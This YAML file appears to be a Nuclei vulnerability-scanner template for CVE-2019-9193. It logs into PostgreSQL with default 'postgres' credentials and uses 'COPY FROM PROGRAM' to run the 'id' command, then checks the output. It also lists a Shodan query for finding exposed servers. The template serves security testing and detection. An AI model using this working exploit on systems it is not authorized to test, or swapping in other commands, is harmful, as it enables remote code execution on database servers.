57 lines
2.1 KiB
YAML
57 lines
2.1 KiB
YAML
id: CVE-2019-9193
|
||
|
||
info:
|
||
name: PostgreSQL 9.3-12.3 Authenticated Remote Code Execution
|
||
author: pussycat0x
|
||
severity: high
|
||
description: |
|
||
In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’.
|
||
reference:
|
||
- https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193
|
||
metadata:
|
||
verified: true
|
||
max-request: 1
|
||
shodan-query: "product:\"PostgreSQL\""
|
||
tags: cve,cve2018,js,network,postgresql,intrusive
|
||
|
||
javascript:
|
||
- pre-condition: |
|
||
isPortOpen(Host,Port);
|
||
code: |
|
||
const postgres = require('nuclei/postgres');
|
||
const client = new postgres.PGClient;
|
||
const tbl = tbl_exec
|
||
const qry = ["CREATE TABLE "+tbl+"(cmd_output text);", "COPY "+tbl + " FROM PROGRAM 'id';", "SELECT * FROM "+ tbl+";", "DROP TABLE IF EXISTS " +tbl+";",];
|
||
for (const x of qry){
|
||
connected = client.ExecuteQuery(Host, Port, User, Pass, Db, x);
|
||
Export(connected);
|
||
}
|
||
|
||
args:
|
||
Host: "{{Host}}"
|
||
Port: 5432
|
||
User: "{{usernames}}"
|
||
Pass: "{{password}}"
|
||
Db: "{{database}}"
|
||
tbl_exec: "{{randbase(5)}}"
|
||
|
||
payloads:
|
||
usernames:
|
||
- postgres
|
||
database:
|
||
- postgres
|
||
password:
|
||
- postgres
|
||
|
||
attack: clusterbomb
|
||
|
||
matchers-condition: and
|
||
matchers:
|
||
- type: regex
|
||
regex:
|
||
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
|
||
|
||
- type: word
|
||
words:
|
||
- "cmd_output"
|
||
# digest: 4a0a00473045022100b8b3052629198dc59c7017eb410afa0d581b1f53d1afec0bfc04d13af2576f9202204df99e66e1a330c0c0610ac118e619934c2b12383fde211ed44714867251a451:922c64590222798bb761d5b6d8e72950 |